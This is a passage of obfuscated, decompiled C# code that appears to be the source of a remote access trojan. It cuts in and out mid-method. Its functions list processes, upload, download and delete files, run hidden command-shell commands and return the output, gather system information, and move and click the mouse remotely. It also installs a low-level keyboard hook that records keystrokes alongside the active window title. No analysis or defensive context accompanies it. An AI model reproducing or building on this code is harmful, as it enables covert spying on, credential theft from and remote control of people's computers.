\u0016\u0003.\u0001\u0007(); } } public void \u0017() { try { \u0002.\u0001 = \u0081\u0002.\u009B(); string str1 = \u0002.\u0001.\u0001(328); string str2 = \u0002.\u0001.\u0001(328); string str3 = \u0002.\u0001.\u0001(328); string str4 = \u0002.\u0001.\u0001(328); string str5 = \u0002.\u0001.\u0001(328); string str6 = \u0002.\u0001.\u0001(328); int num = \u008C\u0002.\u007E\u0087\u0002((object) \u0002.\u0001, 0); int index = 0; while (index <= num) { try { str2 = \u0098\u0002.\u009D\u0002(str2, \u0002.\u0001.\u0001(2130), \u001D\u0002.\u007E\u0083\u0004((object) \u007F\u0002.\u007E\u0099((object) \u0002.\u0001[index])).ToString()); } catch (Exception ex) { ProjectData.SetProjectError(ex); str2 = \u0097\u0002.\u009C\u0002(str2, \u0002.\u0001.\u0001(2135)); \u0016\u0003.\u0001\u0007(); } try { str3 = \u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0097\u0002((object) \u0014\u0002.\u007E\u0094((object) \u0087\u0002.\u007E\u0005\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index])))), \u0002.\u0001.\u0001(328), false) != 0 ? \u0098\u0002.\u009D\u0002(str3, \u0002.\u0001.\u0001(2130), \u0014\u0002.\u007E\u0097\u0002((object) \u0014\u0002.\u007E\u0094((object) \u0087\u0002.\u007E\u0005\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index]))))) : \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001.\u0001(2135)); } catch (Exception ex) { ProjectData.SetProjectError(ex); str3 = \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001.\u0001(2135)); \u0016\u0003.\u0001\u0007(); } try { str1 = \u0098\u0002.\u009D\u0002(str1, \u0002.\u0001.\u0001(2130), \u0014\u0002.\u007E\u0097\u0002((object) \u009B\u0002.\u0008\u0006(\u0014\u0002.\u007E\u0003\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index]))))); } catch (Exception ex) { ProjectData.SetProjectError(ex); str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2135)); \u0016\u0003.\u0001\u0007(); } try { str4 = \u0098\u0002.\u009D\u0002(str4, \u0002.\u0001.\u0001(2130), \u0014\u0002.\u007E\u0097\u0002((object) \u009B\u0002.\u0007\u0006(\u0014\u0002.\u007E\u0003\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index]))))); } catch (Exception ex) { ProjectData.SetProjectError(ex); str4 = \u0097\u0002.\u009C\u0002(str4, \u0002.\u0001.\u0001(2135)); \u0016\u0003.\u0001\u0007(); } try { str5 = \u0099\u0002.\u009E\u0002(str5, \u0002.\u0001.\u0001(2130), ((double) \u001F\u0002.\u007E\u0098((object) \u0002.\u0001[index]) / 1024.0).ToString(), \u0002.\u0001.\u0001(2148)); } catch (Exception ex) { ProjectData.SetProjectError(ex); str5 = \u0097\u0002.\u009C\u0002(str5, \u0002.\u0001.\u0001(2153)); \u0016\u0003.\u0001\u0007(); } try { str6 = \u0098\u0002.\u009D\u0002(str6, \u0002.\u0001.\u0001(2130), \u001D\u0002.\u007E\u0096((object) \u0002.\u0001[index]).ToString()); } catch (Exception ex) { ProjectData.SetProjectError(ex); str6 = \u0097\u0002.\u009C\u0002(str6, \u0002.\u0001.\u0001(2135)); \u0016\u0003.\u0001\u0007(); } checked { ++index; } } string[] strArray = new string[15] { \u0002.\u0001.Length.ToString(), \u0002.\u0001.\u0001(2170), \u0002.\u0006, \u0002.\u0001.\u0001(2170), str1, \u0002.\u0001.\u0001(2170), str4, \u0002.\u0001.\u0001(2170), str5, \u0002.\u0001.\u0001(2170), str6, \u0002.\u0001.\u0001(2170), str3, \u0002.\u0001.\u0001(2170), str2 }; string str7 = \u009A\u0002.\u009F\u0002(strArray); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str7)); \u0002.\u0001 = (Process[]) null; \u0015\u0003.\u0090\u0003(0); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0018() { \u0002.\u0002 = false; string str1; try { string str2 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); \u0008\u0004.\u0093\u0005(\u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str2)); str1 = \u0004\u0004.\u0094\u0005(\u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str2)) ? \u0002.\u0001.\u0001(1948) : \u0002.\u0001.\u0001(1935); } catch (Exception ex) { ProjectData.SetProjectError(ex); str1 = \u0002.\u0001.\u0001(1948); \u0016\u0003.\u0001\u0007(); } \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str1)); \u0002.\u0002 = true; \u0015\u0003.\u0090\u0003(0); } public void \u0019() { try { string[] strArray = \u0006\u0004.\u0083\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059))); int index = 0; while (index < strArray.Length) { string str = strArray[index]; if (\u008D\u0002.\u007E\u0093\u0002((object) str, \u0002.\u0001.\u0001(2175))) { if (\u008F\u0004.\u009D\u0006(\u009B\u0002.\u0008\u0006(str), \u0002.\u0004, false) != 0) { try { \u0008\u0004.\u0093\u0005(str); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } checked { ++index; } } \u0015\u0003.\u0090\u0003(0); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u001A() { string str1 = \u0002.\u0001.\u0001(328); int num = 0; try { string[] strArray = \u0006\u0004.\u0083\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059))); int index = 0; while (index < strArray.Length) { string str2 = strArray[index]; if (\u008D\u0002.\u007E\u0093\u0002((object) str2, \u0002.\u0001.\u0001(2175))) { str1 = \u008F\u0004.\u009D\u0006(str1, \u0002.\u0001.\u0001(328), false) != 0 ? \u0098\u0002.\u009D\u0002(str1, \u0002.\u0001.\u0001(2130), \u009B\u0002.\u0008\u0006(str2)) : \u009B\u0002.\u0008\u0006(str2); checked { ++num; } } checked { ++index; } } \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0098\u0002.\u009D\u0002(\u0014\u0002.\u007E\u0097\u0002((object) str1), \u0002.\u0001.\u0001(225), num.ToString()))); \u0015\u0003.\u0090\u0003(0); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u001B() { \u0002.\u0002 = false; try { string str1 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); this.\u000E = \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str1); FileInfo fileInfo = new FileInfo(this.\u000E); \u0006\u0002 obj = \u0006\u0002.\u007E\u007F\u0005; BinaryWriter binaryWriter = \u0002.\u0001; string[] strArray = new string[5] { \u0014\u0002.\u007E\u009E\u0005((object) fileInfo), \u0002.\u0001.\u0001(1849), \u001F\u0002.\u007E\u009F\u0005((object) fileInfo).ToString(), \u0002.\u0001.\u0001(1849), 4096.ToString() }; string str2 = this.\u0002(\u009A\u0002.\u009F\u0002(strArray)); obj((object) binaryWriter, str2); FileStream fileStream = new FileStream(this.\u000E, FileMode.Open, FileAccess.Read); try { byte[] numArray = new byte[4097]; int num = -1; while (num != 0) { num = \u0016\u0002.\u007E\u0004\u0006((object) fileStream, numArray, 0, numArray.Length); \u0017\u0002.\u007E\u008B((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, num); } \u0001\u0002.\u007E\u0019\u0005((object) fileStream); } finally { if (fileStream != null) \u0001\u0002.\u007E\u0088\u0002((object) fileStream); } \u0002.\u0002 = true; \u0015\u0003.\u0090\u0003(0); } catch (Exception ex1) { ProjectData.SetProjectError(ex1); try { \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328)); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328)); } catch (Exception ex2) { ProjectData.SetProjectError(ex2); \u0016\u0003.\u0001\u0007(); } \u0002.\u0002 = true; \u0016\u0003.\u0001\u0007(); } } public void \u001C() { try { string str1 = \u0002.\u0001.\u0001(328); string str2 = \u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001); try { string str3 = \u0002.\u0001.\u0001(328); try { \u0002.\u0004 obj = new \u0002.\u0004(); DateTime dateTime = \u0001\u0003.\u0010\u0003(); string str4 = \u0099\u0004.\u0010\u0007(\u0099\u0004.\u0010\u0007(dateTime.ToString(), \u0002.\u0001.\u0001(225), \u0002.\u0001.\u0001(230), 1, -1, CompareMethod.Text), \u0002.\u0001.\u0001(2184), \u0002.\u0001.\u0001(230), 1, -1, CompareMethod.Text); str1 = \u0099\u0002.\u009E\u0002(\u0011\u0002.\u008B\u0003(), \u0011\u0002.\u0087\u0003(), \u0002.\u0001.\u0001(230), str4); obj.\u0002(str1, this.\u0003(str2)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { string str5 = this.\u0003(str2); if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2189), false) == 0) str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2202)); else if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2211), false) == 0) str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2202)); else if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2220), false) == 0) str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2202)); else if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2237), false) == 0) str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2250)); this.\u000E = \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str1); FileInfo fileInfo = new FileInfo(this.\u000E); if (\u0004\u0002.\u007E\u0001\u0006((object) fileInfo)) { \u0006\u0002 obj = \u0006\u0002.\u007E\u007F\u0005; BinaryWriter binaryWriter = \u0002.\u0001; string[] strArray = new string[5] { \u0014\u0002.\u007E\u009E\u0005((object) fileInfo), \u0002.\u0001.\u0001(1849), \u001F\u0002.\u007E\u009F\u0005((object) fileInfo).ToString(), \u0002.\u0001.\u0001(1849), 4096.ToString() }; string str6 = this.\u0002(\u009A\u0002.\u009F\u0002(strArray)); obj((object) binaryWriter, str6); FileStream fileStream = new FileStream(this.\u000E, FileMode.Open, FileAccess.Read); try { byte[] numArray = new byte[4097]; int num = -1; while (num != 0) { num = \u0016\u0002.\u007E\u0004\u0006((object) fileStream, numArray, 0, numArray.Length); \u0017\u0002.\u007E\u008B((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, num); } \u0001\u0002.\u007E\u0019\u0005((object) fileStream); } finally { if (fileStream != null) \u0001\u0002.\u007E\u0088\u0002((object) fileStream); } } else { try { \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2047))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(this.\u000E); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } str3 = (string) null; this.\u000E = (string) null; } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u001D() { try { string[] strArray = new string[23] { \u0014\u0002.\u007E\u0097\u0002((object) \u0002.\u0013), \u0002.\u0001.\u0001(225), \u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u0014\u0007()), \u0002.\u0001.\u0001(225), \u0002.\u0007, \u0002.\u0001.\u0001(225), \u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u008D\u0003()), \u0002.\u0001.\u0001(225), \u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u0087\u0003()), \u0002.\u0001.\u0001(225), \u0014\u0002.\u007E\u0097\u0002((object) \u0014\u0002.\u007E\u0084\u0006((object) \u0080\u0004.\u007E\u008C\u0006((object) \u0005.\u0001.\u0002()))), \u0002.\u0001.\u0001(225), \u009D\u0004.\u007E\u0017\u0007((object) \u001F\u0004.\u007E\u0082\u0006((object) \u0005.\u0001.\u0002())).Width.ToString(), \u0002.\u0001.\u0001(2259), \u009D\u0004.\u007E\u0017\u0007((object) \u001F\u0004.\u007E\u0082\u0006((object) \u0005.\u0001.\u0002())).Height.ToString(), \u0002.\u0001.\u0001(225), \u0012\u0003.\u0088\u0003().ToString(), \u0002.\u0001.\u0001(225), \u000F\u0003.\u007E\u0083\u0006((object) \u0080\u0004.\u007E\u008C\u0006((object) \u0005.\u0001.\u0002())).ToString(), \u0002.\u0001.\u0001(225), \u0014\u0002.\u007E\u0087((object) \u0015\u0002.\u007E\u0089((object) \u0012\u0002.\u0084(\u0011\u0002.\u0083()))[0]), \u0002.\u0001.\u0001(2264), \u0002.\u0001 }; string str = \u009A\u0002.\u009F\u0002(strArray); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str)); \u0016\u0003.\u0091\u0003(); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u001E() { try { ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0002.\u0001.\u0001(2269), \u0002.\u0001.\u0001(2282)); \u0088\u0002.\u007E\u0011\u0002((object) processStartInfo, ProcessWindowStyle.Hidden); \u0005\u0002.\u007E\u000E\u0002((object) processStartInfo, true); \u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, false); \u0005\u0002.\u007E\u0008\u0002((object) processStartInfo, true); Process process = \u0086\u0002.\u009F(processStartInfo); StreamReader streamReader = \u0080\u0002.\u007E\u009A((object) process); string str1 = \u0014\u0002.\u007E\u0010\u0006((object) streamReader); string str2 = \u0095\u0002.\u007E\u0099\u0002((object) str1, \u0002.\u0001.\u0001(2130), \u0011\u0002.\u0089\u0003()); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str2)); \u0016\u0003.\u0091\u0003(); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u001F() { try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); this.\u0005 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0006 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0007 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849))); \u0002.\u0001 = new string[3] { this.\u0005, this.\u0006, this.\u0007 }; this.\u0008 = new Thread(new ThreadStart(this.\u0010)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u0008); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u007F() { try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u008C\u0004.\u0099\u0006(\u0089\u0004.\u0096\u0006(\u0002.\u000E) + \u0089\u0004.\u0096\u0006(\u0002.\u0001.\u0001(1081)))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { this.\u0003 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); if (\u008F\u0004.\u009D\u0006(this.\u0003, \u0002.\u0013, false) != 0) { \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2303))); try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); this.\u0008 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0001 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849))))); this.\u0002 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849))))); this.\u000F = \u0097\u0002.\u000F\u0006(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068)), this.\u0008); try { \u0008\u0004.\u0093\u0005(this.\u000F); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } byte[] numArray = new byte[checked ((int) this.\u0002 + 1)]; long num1 = 0; FileStream fileStream = new FileStream(this.\u000F, FileMode.Create, FileAccess.Write); try { while (num1 != this.\u0001) { int num2 = \u0016\u0002.\u007E\u008A((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, numArray.Length); \u0017\u0002.\u007E\u0005\u0006((object) fileStream, numArray, 0, num2); checked { num1 += (long) num2; } \u0001\u0002.\u007E\u0003\u0006((object) fileStream); } \u0001\u0002.\u007E\u0019\u0005((object) fileStream); } finally { if (fileStream != null) \u0001\u0002.\u007E\u0088\u0002((object) fileStream); } \u0013\u0004.\u009C\u0005(this.\u000F, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); this.\u0005(); } catch (Exception ex1) { ProjectData.SetProjectError(ex1); try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))); } catch (Exception ex2) { ProjectData.SetProjectError(ex2); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u008C\u0004.\u0099\u0006(\u0089\u0004.\u0096\u0006(\u0002.\u000E) + \u0089\u0004.\u0096\u0006(\u0002.\u0001.\u0001(1081)))); } catch (Exception ex3) { ProjectData.SetProjectError(ex3); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(this.\u000F); } catch (Exception ex4) { ProjectData.SetProjectError(ex4); \u0016\u0003.\u0001\u0007(); } try { \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328)); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328)); } catch (Exception ex5) { ProjectData.SetProjectError(ex5); \u0016\u0003.\u0001\u0007(); } \u0016\u0003.\u0001\u0007(); } } else \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2316))); \u0015\u0003.\u0090\u0003(0); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0080() { try { this.\u000E = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); FileInfo fileInfo = new FileInfo(this.\u000E); try { FileStream fileStream = \u0016\u0004.\u009A\u0005(this.\u000E); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2047))); \u0016\u0003.\u0001\u0007(); } \u0006\u0002 obj = \u0006\u0002.\u007E\u007F\u0005; BinaryWriter binaryWriter = \u0002.\u0001; string[] strArray = new string[5] { \u0014\u0002.\u007E\u009E\u0005((object) fileInfo), \u0002.\u0001.\u0001(1849), \u001F\u0002.\u007E\u009F\u0005((object) fileInfo).ToString(), \u0002.\u0001.\u0001(1849), 4096.ToString() }; string str = this.\u0002(\u009A\u0002.\u009F\u0002(strArray)); obj((object) binaryWriter, str); FileStream fileStream1 = new FileStream(this.\u000E, FileMode.Open, FileAccess.Read); try { byte[] numArray = new byte[4097]; int num = -1; while (num != 0) { num = \u0016\u0002.\u007E\u0004\u0006((object) fileStream1, numArray, 0, numArray.Length); \u0017\u0002.\u007E\u008B((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, num); } \u0001\u0002.\u007E\u0019\u0005((object) fileStream1); } finally { if (fileStream1 != null) \u0001\u0002.\u007E\u0088\u0002((object) fileStream1); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0081() { try { string str1 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0002.\u0001.\u0001(2269), \u0097\u0002.\u009C\u0002(\u0002.\u0001.\u0001(2333), str1)); \u0088\u0002.\u007E\u0011\u0002((object) processStartInfo, ProcessWindowStyle.Hidden); \u0005\u0002.\u007E\u000E\u0002((object) processStartInfo, true); \u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, false); \u0005\u0002.\u007E\u0008\u0002((object) processStartInfo, true); Process process = \u0086\u0002.\u009F(processStartInfo); StreamReader streamReader = \u0080\u0002.\u007E\u009A((object) process); string str2 = \u0014\u0002.\u007E\u0010\u0006((object) streamReader); string str3 = \u0095\u0002.\u007E\u0099\u0002((object) str2, \u0011\u0002.\u0089\u0003(), \u0002.\u0001.\u0001(2130)); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str3)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2338))); \u0016\u0003.\u0001\u0007(); } \u0015\u0003.\u0090\u0003(0); \u0002.\u0007(); } public void \u0082() { try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); string str = this.\u0001; if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(2387), false) == 0) { try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); this.\u0010 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0001 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0002 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0011 = \u0002.\u0001.\u0001(1037); \u0015\u0003.\u001B\u0004(300); this.\u0011 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(4, this.\u0001, \u0002.\u0001.\u0001(1849))); \u0002.\u0005 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(3, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u000E = new Thread(new ThreadStart(this.\u0087)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u000E); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } else { if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(2392), false) != 0) return; try { \u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(this.\u0011)); this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); this.\u0010 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0001 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0002 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u0011 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(4, this.\u0001, \u0002.\u0001.\u0001(1849))); \u0002.\u0005 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(3, this.\u0001, \u0002.\u0001.\u0001(1849))); this.\u000E = new Thread(new ThreadStart(this.\u0087)); \u0001\u0002.\u007E\u0019\u0004((object) this.\u000E); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0083() { try { this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001)); object obj = \u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(225)); if (\u008E\u0004.\u009C\u0006(obj, (object) \u0002.\u0001.\u0001(2397), false)) { \u0002.\u0002(\u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(225))), \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(225)))); \u0002.\u0002(8, 0, 0, 0, 0); \u0002.\u0002(16, 0, 0, 0, 0); } else if (\u008E\u0004.\u009C\u0006(obj, (object) \u0002.\u0001.\u0001(2402), false)) { \u0002.\u0002(\u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(225))), \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(225)))); \u0002.\u0002(2, 0, 0, 0, 0); \u0002.\u0002(4, 0, 0, 0, 0); } else { if (!\u008E\u0004.\u009C\u0006(obj, (object) \u0002.\u0001.\u0001(2407), false)) return; \u0002.\u0002(\u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(225))), \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(225)))); \u0002.\u0002(2, 0, 0, 0, 0); \u0002.\u0002(4, 0, 0, 0, 0); \u0002.\u0002(2, 0, 0, 0, 0); \u0002.\u0002(4, 0, 0, 0, 0); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int \u0002([In] int obj0, [In] \u0002.\u0001.\u0002 obj1, [In] int obj2, [In] int obj3); [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0002.\u0001.\u0001 obj3); [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int \u0002(); [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int \u0002(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); private string \u0002() { string lpString = new string(char.MinValue, 100); \u0002.\u0001.\u0002(\u0002.\u0001.\u0002(), ref lpString, 100); lpString = \u0093\u0002.\u007E\u0091\u0002((object) lpString, 0, checked (\u0098\u0004.\u000F\u0007(lpString, \u0002.\u0001.\u0001(2412), CompareMethod.Binary) - 1)); return lpString; } public void \u0084() { try { \u0002.\u0001 TargetObject = this; // ISSUE: virtual method pointer this.\u0001 = new \u0002.\u0001.\u0002((object) TargetObject, __vmethodptr(TargetObject, \u0002)); this.\u0001 = \u0017\u0003.\u0094\u0003(\u0002.\u0001.\u0002(13, this.\u0001, \u0018\u0003.\u0095\u0003(\u001C\u0002.\u007E\u0004\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0082\u0002.\u009C()))), 0)); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public int \u0002([In] int obj0, [In] int obj1, [In] ref \u0002.\u0001.\u0001 obj2) { int num; try { string str1 = this.\u0002(); if (\u008F\u0004.\u009D\u0006(str1, this.\u0012, false) != 0) goto label_61; label_1: string str2 = \u0002.\u0001.\u0001(328); if (obj1 == 256 | obj1 == 260) { if (obj0 >= 0 && \u0004\u0002.\u007E\u0088\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) & \u0004\u0002.\u007E\u0087\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) & obj2.\u0001 == 83) { num = 1; goto label_63; } else { switch (obj2.\u0001) { case 8: str2 = \u0002.\u0001.\u0001(2732); break; case 9: str2 = \u0002.\u0001.\u0001(2623); break; case 13: str2 = \u0002.\u0001.\u0001(2618); break; case 20: case 144: case 160: case 161: break; case 27: str2 = \u0002.\u0001.\u0001(2641); break; case 32: str2 = \u0002.\u0001.\u0001(2578); break; case 37: str2 = \u0002.\u0001.\u0001(2698); break; case 38: str2 = \u0002.\u0001.\u0001(2715); break; case 39: str2 = \u0002.\u0001.\u0001(2660); break; case 40: str2 = \u0002.\u0001.\u0001(2681); break; case 46: str2 = \u0002.\u0001.\u0001(2628); break; case 48: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(861); break; case 49: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? 